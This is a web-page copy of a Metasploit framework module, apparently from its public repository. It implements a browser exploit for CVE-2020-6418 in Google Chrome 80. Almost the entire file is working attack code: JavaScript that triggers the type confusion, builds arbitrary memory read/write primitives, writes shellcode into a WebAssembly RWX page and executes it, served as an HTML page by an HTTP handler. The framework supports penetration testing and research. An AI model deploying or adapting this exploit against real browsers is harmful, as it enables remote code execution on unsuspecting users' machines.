CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/chrome_jscreate_sideeffect.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::Remote::HttpServer::BrowserExploit
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Google Chrome 80 JSCreate side-effect type confusion exploit',
15
'Description' => %q{
16
This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit
17
corrupts the length of a float array (float_rel), which can then be used for out
18
of bounds read and write on adjacent memory.
19
The relative read and write is then used to modify a UInt64Array (uint64_aarw)
20
which is used for read and writing from absolute memory.
21
The exploit then uses WebAssembly in order to allocate a region of RWX memory,
22
which is then replaced with the payload shellcode.
23
The payload is executed within the sandboxed renderer process, so the browser
24
must be run with the --no-sandbox option for the payload to work correctly.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'Clément Lecigne', # discovery
29
'István Kurucsai', # exploit
30
'Vignesh S Rao', # exploit
31
'timwr', # metasploit copypasta
32
],
33
'References' => [
34
['CVE', '2020-6418'],
35
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'],
36
['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'],
37
['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'],
38
],
39
'Arch' => [ ARCH_X64 ],
40
'DefaultTarget' => 0,
41
'Notes' => {
42
'Reliability' => [ REPEATABLE_SESSION ],
43
'SideEffects' => [ IOC_IN_LOGS ],
44
'Stability' => [CRASH_SAFE]
45
},
46
'Targets' =>
47
[
48
['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}],
49
['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}],
50
],
51
'DisclosureDate' => '2020-02-19'))
52
end
53
54
def on_request_uri(cli, request)
55
print_status("Sending #{request.uri} to #{request['User-Agent']}")
56
escaped_payload = Rex::Text.to_unescape(payload.raw)
57
jscript = %Q^
58
var shellcode = unescape("#{escaped_payload}");
59
60
// HELPER FUNCTIONS
61
let conversion_buffer = new ArrayBuffer(8);
62
let float_view = new Float64Array(conversion_buffer);
63
let int_view = new BigUint64Array(conversion_buffer);
64
BigInt.prototype.hex = function() {
65
return '0x' + this.toString(16);
66
};
67
BigInt.prototype.i2f = function() {
68
int_view[0] = this;
69
return float_view[0];
70
}
71
BigInt.prototype.smi2f = function() {
72
int_view[0] = this << 32n;
73
return float_view[0];
74
}
75
Number.prototype.f2i = function() {
76
float_view[0] = this;
77
return int_view[0];
78
}
79
Number.prototype.f2smi = function() {
80
float_view[0] = this;
81
return int_view[0] >> 32n;
82
}
83
84
Number.prototype.fhw = function() {
85
float_view[0] = this;
86
return int_view[0] >> 32n;
87
}
88
89
Number.prototype.flw = function() {
90
float_view[0] = this;
91
return int_view[0] & BigInt(2**32-1);
92
}
93
94
Number.prototype.i2f = function() {
95
return BigInt(this).i2f();
96
}
97
Number.prototype.smi2f = function() {
98
return BigInt(this).smi2f();
99
}
100
101
function hex(a) {
102
return a.toString(16);
103
}
104
105
//
106
// EXPLOIT
107
//
108
109
// the number of holes here determines the OOB write offset
110
let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
111
var float_rel; // float array, initially corruption target
112
var float_carw; // float array, used for reads/writes within the compressed heap
113
var uint64_aarw; // uint64 typed array, used for absolute reads/writes in the entire address space
114
var obj_leaker; // used to implement addrof
115
vuln.pop();
116
vuln.pop();
117
vuln.pop();
118
119
function empty() {}
120
121
function f(nt) {
122
// The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug
123
vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
124
for (var i = 0; i < 0x10000; ++i) {};
125
}
126
127
let p = new Proxy(Object, {
128
get: function() {
129
vuln[0] = {};
130
float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];
131
float_carw = [6.6];
132
uint64_aarw = new BigUint64Array(4);
133
obj_leaker = {
134
a: float_rel,
135
b: float_rel,
136
};
137
138
return Object.prototype;
139
}
140
});
141
142
function main(o) {
143
for (var i = 0; i < 0x10000; ++i) {};
144
return f(o);
145
}
146
147
// reads 4 bytes from the compressed heap at the specified dword offset after float_rel
148
function crel_read4(offset) {
149
var qw_offset = Math.floor(offset / 2);
150
if (offset & 1 == 1) {
151
return float_rel[qw_offset].fhw();
152
} else {
153
return float_rel[qw_offset].flw();
154
}
155
}
156
157
// writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel
158
function crel_write4(offset, val) {
159
var qw_offset = Math.floor(offset / 2);
160
// we are writing an 8-byte double under the hood
161
// read out the other half and keep its value
162
if (offset & 1 == 1) {
163
temp = float_rel[qw_offset].flw();
164
new_val = (val << 32n | temp).i2f();
165
float_rel[qw_offset] = new_val;
166
} else {
167
temp = float_rel[qw_offset].fhw();
168
new_val = (temp << 32n | val).i2f();
169
float_rel[qw_offset] = new_val;
170
}
171
}
172
173
const float_carw_elements_offset = 0x14;
174
175
function cabs_read4(caddr) {
176
elements_addr = caddr - 8n | 1n;
177
crel_write4(float_carw_elements_offset, elements_addr);
178
print('cabs_read4: ' + hex(float_carw[0].f2i()));
179
res = float_carw[0].flw();
180
// TODO restore elements ptr
181
return res;
182
}
183
184
185
// This function provides arbitrary within read the compressed heap
186
function cabs_read8(caddr) {
187
elements_addr = caddr - 8n | 1n;
188
crel_write4(float_carw_elements_offset, elements_addr);
189
print('cabs_read8: ' + hex(float_carw[0].f2i()));
190
res = float_carw[0].f2i();
191
// TODO restore elements ptr
192
return res;
193
}
194
195
// This function provides arbitrary write within the compressed heap
196
function cabs_write4(caddr, val) {
197
elements_addr = caddr - 8n | 1n;
198
199
temp = cabs_read4(caddr + 4n | 1n);
200
print('cabs_write4 temp: '+ hex(temp));
201
202
new_val = (temp << 32n | val).i2f();
203
204
crel_write4(float_carw_elements_offset, elements_addr);
205
print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i()));
206
207
float_carw[0] = new_val;
208
// TODO restore elements ptr
209
return res;
210
}
211
212
const objleaker_offset = 0x41;
213
function addrof(o) {
214
obj_leaker.b = o;
215
addr = crel_read4(objleaker_offset) & BigInt(2**32-2);
216
obj_leaker.b = {};
217
return addr;
218
}
219
220
const uint64_externalptr_offset = 0x1b; // in 8-bytes
221
222
// Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array
223
function read8(addr) {
224
faddr = addr.i2f();
225
t1 = float_rel[uint64_externalptr_offset];
226
t2 = float_rel[uint64_externalptr_offset + 1];
227
float_rel[uint64_externalptr_offset] = faddr;
228
float_rel[uint64_externalptr_offset + 1] = 0.0;
229
230
val = uint64_aarw[0];
231
232
float_rel[uint64_externalptr_offset] = t1;
233
float_rel[uint64_externalptr_offset + 1] = t2;
234
return val;
235
}
236
237
// Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array
238
function write8(addr, val) {
239
faddr = addr.i2f();
240
t1 = float_rel[uint64_externalptr_offset];
241
t2 = float_rel[uint64_externalptr_offset + 1];
242
float_rel[uint64_externalptr_offset] = faddr;
243
float_rel[uint64_externalptr_offset + 1] = 0.0;
244
245
uint64_aarw[0] = val;
246
247
float_rel[uint64_externalptr_offset] = t1;
248
float_rel[uint64_externalptr_offset + 1] = t2;
249
return val;
250
}
251
252
// Given an array of bigints, this will write all the elements to the address provided as argument
253
function writeShellcode(addr, sc) {
254
faddr = addr.i2f();
255
t1 = float_rel[uint64_externalptr_offset];
256
t2 = float_rel[uint64_externalptr_offset + 1];
257
float_rel[uint64_externalptr_offset - 1] = 10;
258
float_rel[uint64_externalptr_offset] = faddr;
259
float_rel[uint64_externalptr_offset + 1] = 0.0;
260
261
for (var i = 0; i < sc.length; ++i) {
262
uint64_aarw[i] = sc[i]
263
}
264
265
float_rel[uint64_externalptr_offset] = t1;
266
float_rel[uint64_externalptr_offset + 1] = t2;
267
}
268
269
270
function get_compressed_rw() {
271
272
for (var i = 0; i < 0x10000; ++i) {empty();}
273
274
main(empty);
275
main(empty);
276
277
// Function would be jit compiled now.
278
main(p);
279
280
print(`Corrupted length of float_rel array = ${float_rel.length}`);
281
}
282
283
function get_arw() {
284
get_compressed_rw();
285
print('should be 0x2: ' + hex(crel_read4(0x15)));
286
let previous_elements = crel_read4(0x14);
287
//print(hex(previous_elements));
288
//print(hex(cabs_read4(previous_elements)));
289
//print(hex(cabs_read4(previous_elements + 4n)));
290
cabs_write4(previous_elements, 0x66554433n);
291
//print(hex(cabs_read4(previous_elements)));
292
//print(hex(cabs_read4(previous_elements + 4n)));
293
294
print('addrof(float_rel): ' + hex(addrof(float_rel)));
295
uint64_aarw[0] = 0x4142434445464748n;
296
}
297
298
function rce() {
299
function get_wasm_func() {
300
var importObject = {
301
imports: { imported_func: arg => print(arg) }
302
};
303
bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
304
wasm_code = new Uint8Array(bc);
305
wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
306
return wasm_mod.exports.exported_func;
307
}
308
309
let wasm_func = get_wasm_func();
310
// traverse the JSFunction object chain to find the RWX WebAssembly code page
311
let wasm_func_addr = addrof(wasm_func);
312
let sfi = cabs_read4(wasm_func_addr + 12n) - 1n;
313
print('sfi: ' + hex(sfi));
314
let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n;
315
print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData));
316
317
let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n;
318
print('instance: ' + hex(instance));
319
320
let wasm_rwx_addr = cabs_read8(instance + 0x68n);
321
print('wasm_rwx_addr: ' + hex(wasm_rwx_addr));
322
323
// write the shellcode to the RWX page
324
while(shellcode.length % 4 != 0){
325
shellcode += "\u9090";
326
}
327
328
let sc = [];
329
330
// convert the shellcode to BigInt
331
for (let i = 0; i < shellcode.length; i += 4) {
332
sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000));
333
}
334
335
writeShellcode(wasm_rwx_addr,sc);
336
337
print('success');
338
wasm_func();
339
}
340
341
342
function exp() {
343
get_arw();
344
rce();
345
}
346
347
exp();
348
^
349
350
jscript = add_debug_print_js(jscript)
351
html = %Q^
352
<html>
353
<head>
354
<script>
355
#{jscript}
356
</script>
357
</head>
358
<body>
359
</body>
360
</html>
361
^
362
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
363
end
364
365
end
366
367